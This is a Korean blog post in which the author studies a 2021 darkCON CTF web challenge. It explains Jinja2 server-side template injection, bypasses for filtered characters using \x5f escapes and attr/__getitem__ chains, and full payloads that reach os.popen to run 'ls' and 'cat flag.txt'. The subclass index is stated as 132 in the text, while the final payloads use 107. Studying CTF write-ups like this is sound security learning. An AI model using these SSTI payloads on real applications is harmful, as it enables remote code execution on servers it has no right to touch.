최경환의 해킹공부 2021. 2. 24. 05:12

ctf 웹 문제를 분석하거나 풀어보면서 공부하는 스터디 글입니다.

 

1. CTF 문제

2021 darkCON CTF의 DMM 문제입니다.

라업은 아래의 라업을 참고했습니다.

www.dongyeon1201.kr/3ca5185f-d8d1-4bf1-be69-7b9c736496c3

 

DMM [ 487 points ]

✅ 목차

www.dongyeon1201.kr

2. 취약점 목록

1. SSTI

2. 필터링 우회

3. 분석

1. SSTI(Jinja2)

문제에 들어가면 나오는 첫 화면입니다. 여기서 get방식으로 인자를 전달하는 방식을 사용하고 get방식으로 전달받은 url값을 화면에 띄워주는 상황입니다.

 

아래 그림은 ssti에서 어떤 템플릿을 사용하는 ssti인지를 확인하는 과정(?)을 조직도로 나타낸 그림입니다. 이 그림은 앞으로 ssti 문제를 풀거나 공부할 때마다 유용하게 쓰이고, 나중에는 자동으로 머리속에 들어가는 그림이지 않을까 생각합니다.

이 그림에서 파란색 블록을 인자로 전달해 보고 나오는 결과에 따라 어떤 템플릿을 사용하는지 판단하는 것입니다. 초록색 블록에 나와있는 단어들이 SSTI에서 사용되는 템플릿들입니다. 여기서 파란색 블록에 적혀있는 값들을 전달했을 때 결과가 나오는 것이 아니라 넣은 문자열 그대로가 나온다면 실패, 계산된 결과가 나오면 동작 성공이라고 판단하면 됩니다.

 

이 문제에서는 라업 작성자의 결과를 보아 JINJA2를 사용했다고 판단할 수 있었습니다.

1. ${7*7} -> 실패

2. {{7*7}} -> 성공

3. {{7*'7'}} -> 성공

이 과정을 통해 이 문제에서 사용된 SSTI에 사용된 템플릿은 Jinja2라는 것을 알 수 있습니다.

 

2. 필터링 우회

1번의 과정을 통해 SSTI를 사용하여 공격이 가능하다는 것을 알았습니다. 하지만 라업을 확인해보니 아래의 문자들이 필터링되어 있어서 사용이 불가능했습니다.

config

self

request

[

]

"

_

+

join

%

%25

만약 위처럼 필터링 되는 문자를 사용할 경우 아래처럼 사용이 불가능하다는 내용을 화면에 출력해줍니다.

여기서 이제 Jinja2 SSTI 필터링 우회 방법과 관련된 글을 찾아서 페이로드에 필요한 문자지만 필터링 되어 있는 문자를 우회하는 방법을 소개했습니다. 더 다양한 방법은 아래의 링크를 참고하면 좋을 것 같습니다.

medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f

 

Jinja2 SSTI filter bypasses

as you (should) know — blacklists are bad and can often be circumvented. To check the class in SSTI jinja2 we can use payload…

medium.com

1. _ 우회 -> \x5f 사용, | attr(' ') 로 연결

{{''.__class__}}
-> {{''|attr('__class__')}}
-> {{''|attr('\x5f\x5fclass\x5f\x5f')}}

2. A[i] / A()[i] 형태에서 [, ] 문자 우회 -> A.__getitem___(i) 사용

__subclass__()[107]
-> |attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(107)

EX)
{{''.__class__.__base__.__subclass__()[107]}}
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(107)}}

 

4. 전체 페이로드 분석

여기서 사용한 페이로드는 제가 조금 이해가 안 되서 찾아보니 __class__.__base__.subclass() 함수에서 사용하는 하위 클래스를 확인하여 시스템 함수의 명령어를 사용할 수 있는 sys모듈과 RCE를 이용한 os모듈을 단계별로 찾아서 마지막으로 해당 플래그를 읽어오는 방법을 주로 사용한다고 합니다. 이와 관련된 내용은 아래의 링크를 참고해서 공부했습니다.

posix.tistory.com/110

 

TG:Hack 2019 - Wizardschat 풀이

TG:Hack 2019 CTF web 5번 Flask SSTI 문제입니다. 접속하면 로그인 폼이 보이는데, 대강 입력해보면 NO MAGIC DETECTED 에러 메시지가 출력됩니다. hidden 항목으로 지정된 has_magic 값을 1로 바꾸어주면 정상..

posix.tistory.com

이 링크는 다른 SSTI를 활용한 문제의 라업인데 문제의 페이로드는 거의 똑같습니다.

watchout31337.tistory.com/m/177

 

SSTI 취약점

SSTI에 대해 알아보자. 출처:https://www.lanmaster53.com/2016/03/11/exploring-ssti-flask-jinja2-part-2/ https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee SSTI란? ssti란 Server-Si..

watchout31337.tistory.com

위의 블로그를 통해서도 알 수 있습니다. 이 문제와 유사하게 __class__.__base__.subclass()의 하위 클래스의 목록을 보고 푸는 문제들은 페이로드가 지금부터 소개하는 과정이 거의 같은 것 같습니다. 기초는 여기에 두고 다르게 필터링을 우회하는 등 세부적인 내용만 바뀌는 것이기 때문에 이 과정을 잘 기억하는 것이 좋을 거 같습니다.

 

1. ''.__class__.__base__.subclasses__() 으로 사용하는 클래스 전체 목록 확인

우리가 찾아야하는 최종적인 루트는 sys -> os -> RCE 순이기 때문에 하위 클래스 중 sys 모듈을 사용하는 클래스를 찾아야합니다. 찾기 위해서는 아래의 페이로드를 통해 현재 존재하는 하위 클래스를 모두 확인하여 직접 찾아야합니다. 그리고 첫번째 사용되는 페이로드를 포함하여 지금부터 소개하는 페이로드에는 _ 문자와 [, ]를 사용할때나 .으로 이어져있는 페이로드는 분석의 2번에서 소개한 우회방법을 따릅니다.

{{''.__class__.__base__.subclasses__()}}
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()}}

이 페이로드를 사진처럼 url로 넘겨주게 되면 SSTI 취약점이 존재하기 때문에 존재하는 하위 클래스를 화면에 확인해야 합니다. 여기서 sys모듈을 사용하는 클래스를 찾아야 하는데 이때, 페이로드를 아래처럼 조금 수정하여 i에 들어갈 숫자를 바꾸면서 해당 클래스가 사용하는 모듈 목록이 작성되어 있는 response데이터에서 module 'sys'(module 'sys') 가 존재하는지 확인해야합니다.

 

이 부분을 보고 사용할 모듈이 있는 클래스의 인덱스를 결정했는데, 이 화면이 어떤 프로그램을 사용해서 확인을 했는지는 현재 단계에서는 정확하게 모르겠습니다. 혹시나 차후에 다른 문제들을 공부하거나 문제를 풀 때 비슷한 경우를 보고, 지금 확인한 화면을 이해하게 되면 이 글의 링크를 해당 글에 첨부하거나 이 글을 수정하도록 하겠습니다.

이 과정을 통해 라업의 작성자는 132번째 인덱스의 하위 클래스를 사용했습니다.

 

2. ''.__class__.__base__.subclasses__()[132]__init__.__globals__['sys'].modules['os'] 를 사용해서 RCE를 위한 os 모듈 확인

''.__class__.__base__.__subclasses__()[132].__init__.__globals__["sys"].modules["os"]
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')}}

 

3. {{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('command').read()}} 를 사용하여 RCE 동작 후, 결과 확인하기

# ls command
''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('command').read()
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(107)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('sys')|attr('modules')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}

# cat flag.txt command
''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('command').read()
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(107)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('sys')|attr('modules')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('cat%20flag.txt')|attr('read')()}}

os 모듈 확인 후 위의 페이로드를 통해 flag를 읽어온 모습입니다. 이 문제의 페이로드 작성 과정은 구글링을 통해 알아보니 SSTI 관련 문제에서 난이도가 기본적인 문제에서는 꽤나 많이 사용되는 것을 알 수 있었습니다. 그래서 이 과정은 하나의 공격과정이라고 생각하고 하위클래스를 사용하는 방법을 통째로 기억하면 이 문제와 유사한 문제를 접했을 때 많은 도움이 될 것 같습니다.

5. 리뷰

이 문제를 공부하면서 느낀점은 하나의 공격방법을 익힐 수 있는 기회여서 좋았습니다. CTF나 워게임을 풀게 되면 많은 문제 상황과 방법들을 알고 있을 수록 문제를 풀기 쉬워지는 것은 이 분야의 공부를 하다보면 당연한 사실입니다. 그런 점에서 이 문제는 기존에 몰랐던 공격 옵션을 하나를 추가할 수 있는 기회였습니다. 그리고 이전에 다른 문제에서 SSTI에 관해서 다룬적이 있는데 그 문제를 풀면서 SSTI 자체를 정확하게 이해를 하지는 못했는데 이 문제를 통해서 머리에 있던 개념을 다시 한 번 정리할 수 있었습니다. 그런 점에서 저는 이 문제에 대한 점수를 5.5점 정도를 주고 싶습니다. 엄청나게 어려운 문제는 아니지만 한 개념을 어떻게 적용하는지를 잘 보여준 좋은 기본 문제라는 생각이 들었습니다.